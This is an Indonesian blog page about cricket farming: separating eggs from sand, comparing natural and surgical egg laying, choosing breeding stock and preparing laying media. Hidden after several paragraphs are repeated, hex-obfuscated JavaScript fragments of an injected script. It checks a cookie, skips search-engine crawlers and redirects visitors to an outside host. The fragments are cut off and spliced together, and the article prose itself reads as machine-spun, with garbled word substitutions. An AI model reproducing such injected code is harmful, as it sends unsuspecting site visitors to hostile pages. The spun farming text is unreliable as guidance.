IBX5980432E7F390 Perawatan Telur jangkrik Pemisahan Dari Pasir Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Telur jangkrik Pemisahan Dari Pasir Kupas Triknya

Perawatan Telur jangkrik Pemisahan Dari Pasir

Perawatan telur jangkrik pemisahan dari pasir – Peneluran ada yang dilakukan secara alami dan ada yang dilakukan secara caesar. Yang paling banyak diminati oleh kebanyakan peternak jangkrik ialah metode peneluran secara alami, bukan secara caesar.

Mengapa begitu? Karena, peneluran secara alami akan menghasilkan keturunan yang benar-benar berkualitas.

Sedangkan peneluran secara caesar belum mampu menghasilkan telur yang berkualitas. Berikut ini akan dijelaskan peneluran secara alami dan secara caesar.Perawatan Telur jangkrik Pemisahan Dari Pasir

Peneluran jangkrik secara alami

Peneluran secara alami dilakukan indukan betina secara pribadi tanpa melalui proses apapun. Biasanya, telur yang dihasilkan secara alami lebih dijamin kualitasnya daripada secara caesar.

Keuntungan yang didapatkan kalau kita melakukan pengembangbiakan secara alami ialah kita akan menerima keturunan jangkrik yang berkulitas tinggi.

Selain itu, kita dapat menjual telur-telur ini kepada peternak lain yang membutuhkan telur-telur jangkrik. Ditambah jikalau telur jangkrik yang dijual berkualitas tinggi, niscaya nilai jualnya akan tinggi sekali. Ini akan menambah pendapatan kita.

Banyak juga peternak yang menjual telur-telur hasil dari peneluran secara alami kepada peternak lainnya yang mungkin tertarik dengan telur jangkrik yang dijual oleh peternak.

Bagaimana cara agar telur jangkrik bisa dijual dengan peternak lain? Tutorialnya adalah dengan menyaring telur yang ada di sarang pasir hingga tersisa hanya ada telurnya saja.

Setelah itu ambil telur dari saringan dan taruk ditempat yang disediakan. Telur jangkrik sudah bisa dijual di penangkar lain.

Setelah siap disaring, letakkan kembali sarang di dalam kotak peneluran. Tujuannya ialah supaya induk jangkrik mampu bertelur lagi.

Kemungkinan besar ketika kita mengambil telur untuk disaring belum semua indukan yang bertelur. Makara, sarang perlu dimasukkan lagi supaya indukan mampu bertelur kembali.

Peneluran jangkrik secara caesar

Peneluran secara caesar tidak efektif untuk pengembangbiakan jangkrik. Mengapa begitu? Karena pengembangbiakan yang dilakukan metode peneluran secara caesar niscaya kualitasnya tidak lah sebaik kualitas kalau peneluran dilakukan secara alami.

Apabila kita sudah menemukan tanda-tanda kalau perut indukan betina sudah membesar maka mampu dilakukan pembedahan.

Apa-apa saja alat yang bisa digunakan untuk pembedahan? Alat-alat untuk pembedahan hanya satu yiatu silet yang masih tajam dan tidak berkarat.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)avan)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)50[1-6]i)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Merawat Jangkrik Selama Pembesaran
  • Jangkrik Bertelur Berapa Lama
  • Cara Membuat Kotak Pembesaran Jangkrik
  • Merawat Telur Jangkrik Setelah Menetas
  • Cara Memilih induk Jangkrik Yang Bagus
  • Perencanaan Usaha Budidaya Ternak Jangkrik
  • Cara Pemasaran Jangkrik Bagi Peternak
  • Cara Mudah Menetaskan Telur Jangkrik
  • Cara Pembesaran Jangkrik Di Kotak Triplek
  • Cara Ternak Usaha Jangkrik Kusus Pemula
  • Mengenal Kehidupan Sebelum Ternak Jangkrik

Cara Memilih induk Jangkrik Yang Bagus

Cara menentukan induk jangkrik yang elok – Dalam pengembangbiakan telur, ada tata caranya tersendiri. Tidak boleh asal-asalan dan harus secara teratur. Hal yang paling utama dilakukan yaitu mempersiapkan peralatan untuk mengembangbiakan telur.

Setelah semuanya terlengkapi, barulah kita bisa melaksanakan pengembangbiakan telur. Bagaimana tahap-tahap pengembangbiakan telur? Tahap-tahap pengembangbiakan diantaranya:Cara Memilih induk Jangkrik Yang Bagus

Mencari calon indukan jangkrik

Setelah semua bahan terlengkapi selanjutnya yaitu mencari calon indukan untuk lalu dijodohkan. Dalam menentukan calon indukan dilarang sembarangan.

Harus yang berkualitas dan tidak boleh yang cacat fisik. Dan juga harus memenuhi persyaratan yang telah kita buat. Dimana kita bisa menemukan calon indukan yang berkualitas?

Kebanyakan orang yang menangkarkan jangkrik mengambil calon indukan jangkrik eksklusif dari alam. Apabila kita mengambil calon indukan dari penangkaran belum tentu berkualitas baik.

Mengapa begitu? Karena, apabila kita mengambil calon indukan dari alam secara eksklusif, pasti calon indukan tersebut memiliki daya tahan badan yang berpengaruh lantaran hidup di luar ruangan.

Sedangkan calon indukan yang berasal dari penangkaran belum tentu memiliki daya tahan badan yang besar lengan berkuasa karena hidupnya selalu di dalam ruangan. Bukan di luar ruangan.

Pada dikala ini jangkrik sangat sulit didapatkan di alam. Apabila kita sudah mencari jangkrik, tetapi tidak ada alhasil, maka kita boleh mengambil calon indukan dari penangkaran.

Tetapi, ada syaratnya. Syaratnya adalah, hanya calon indukan jangkrik betina saja yang mampu diambil dari penangkaran kita sendiri. Sedangkan indukan jangkrik jantan tidak boleh diambil dari dalam penangkaran sendiri. Mengapa begitu?

Sebab, jikalau kedua indukan jangkrik diambil dari satu penangkaran yang sama, maka akan menerima turunan yang tidak normal. Selain itu, jika induk jangkrik jantan diambil dari penangkaran, maka jangkrik jantan tersebut akan terlalu berangasan dan sulit untuk dikawinkan.

Satu-satunya cara yang tepat apabila di alam tidak menyediakan calon indukan ialah mengambil calon indukan dari peternak lainnya yang menyediakan calon indukan.

Akan tetapi, hanya satu indukan saja yang boleh diambil dari penangkar lainnya. Contohnya ialah bila calon indukan jangkrik betina diambil dari hasil peternakan sendiri atau dari alam dan calon indukan jangkrik jantan dari peternak lain.

Penjodohan calon indukan

Cara menjodohkan calon indukan yang baik adalah dengan menyediakan setidaknya 3 atau 4 ekor jangkrik betina dan 1 ekor jangkrik jantan. Mengapa perbandingan indukan betina yang lebih banyak daripada induk jantan? Sebab, satu ekor indukan jantan mampu mengawini 3 sampai 4 ekor jangkrik betina.

Jika indukan betina lebih banyak dari indukan jantan, maka indukan jantan tidak mau mengawini indukan betina. Indukan betina yang tidak dikawini, maka akan menghasilkan telur infertil.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ig01)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)p1)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Cara Ternak Usaha Jangkrik Kusus Pemula
  • Prospek Bisnis Beternak Jangkrik Pemula
  • Perencanaan Usaha Budidaya Ternak Jangkrik
  • Mengenal Kehidupan Sebelum Ternak Jangkrik
  • Umur Jangkrik Bisa Di Panen Dan Jual
  • Berapa Hari Umur Telur Jangkrik Menetas
  • Cara Membuat Kotak Pembesaran Jangkrik
  • Cara Pemasaran Jangkrik Bagi Peternak
  • Perawatan Telur jangkrik Pemisahan Dari Pasir
  • Cara Pembuatan Kotak Ternak Jangkrik
  • Cara Pembesaran Jangkrik Di Kotak Triplek

Jangkrik Bertelur Berapa Lama

Jangkrik bertelur berapa lama – Dalam pengembangbiakan telur, ada yang secara alami dan ada yang secara tidak alami. Semuanya tergantung pada harapan kita. Akan tetapi, yang paling banyak digunakan untuk metode pengembangbiakan ialah yang secara alami.

Yaitu pribadi diambil telur dari indukan jangkrik. Namun, kalau pengembangbiakan dilakukan secara alami, kita perlu menyediakan daerah bertelur.Jangkrik Bertelur Berapa Lama

Tempat bertelur memang sangat dibutuhkan apabila kita melakukan pengembangbiakan secara alami. Sedangkan pengembangbiakan secara tidak alami tidak memerlukan daerah bertelur.

Mengapa begitu? Karena pengembangbiakan secara tidak alami itu membeli telur dari kawasan lain bukan dari jangkrik kita sendiri. Makara, kita tidak perlu mempersiapkan tempat bertelur.

Sedangkan pengembangbiakan secara alami itu mengambil telur dari hasil perkawinan antara jangkrik jantan dan jangkrik betina.

Alasan mengapa pengembangbiakan secara alami memerlukan daerah bertelur sedangkan pengembangbiakan secara tidak alami tidak memerlukan tempat bertelur yaitu lantaran pengembangbiakan secara alami dilakukan dengan mengawinkan antara jangkrik jantan dan jangkrik betina kita sendiri.

Jadi, semoga kedua jangkrik tersebut mampu kawin, jadi kita perlu mempersiapkan sarang yang biasa disebut tempat bertelur

Sarang atau yang biasa disebut tempat bertelur perlu dipersiapkan. Jika tidak, maka kedua jangkrik yang akan dikawinkan tidak jadi kawin lantaran tidak disiapkan kawasan bertelur.

Sarang yang dipersiapkan memerlukan kawasan untuk meletakkan telur, diantaranya:

  • Kapas

Kapas merupakan salah satu media untuk daerah meletakkan telur. Bahan yang lembut  akan menciptakan telur tidak praktis bergeser dari daerahnya apalagi sampai jatuh ke tanah.

Kelebihan apabila kita menggunakan media kapas sebagai kawasan meletakkan telur ialah apabila kapas ini kotor sewaktu-waktu maka mampu dicuci. Bagaimana cara memakai kapas sebagai tempat meletakkan telur?

Caranya ialah pertama-tama kapas yang lurus dilipat ke kiri dan ke kanan. Setelah itu gulung kapas dari atas ke bawah. Setelah itu tegakkan kapas supaya jangkrik mampu bertelur.

  • Tanah dan pasir

Media untuk meletakkan telur selanjutnya adalah tanah dan pasir. Keduanya bisa digunakan untuk media meletakkan telur apabila memenuhi syarat berikut.

Yaitu harus dihaluskan terlebih dahulu. Tujuannya yaitu supaya jangkrik tetap nyaman bertelur di media ini. Setelah tanah dan pasir dihaluskan, selanjutnya kedua media tersebut disatukan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Berapa Hari Umur Telur Jangkrik Menetas
  • Cara Mudah Menetaskan Telur Jangkrik
  • Perawatan Telur jangkrik Pemisahan Dari Pasir
  • Mengenal Kehidupan Sebelum Ternak Jangkrik
  • Merawat Jangkrik Selama Pembesaran
  • Cara Membuat Kotak Pembesaran Jangkrik
  • Perencanaan Usaha Budidaya Ternak Jangkrik
  • Cara Memilih induk Jangkrik Yang Bagus
  • Cara Pemasaran Jangkrik Bagi Peternak
  • Cara Ternak Usaha Jangkrik Kusus Pemula
  • Cara Pembesaran Jangkrik Di Kotak Triplek

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Telur jangkrik Pemisahan Dari Pasir Kupas Triknya"

Posting Komentar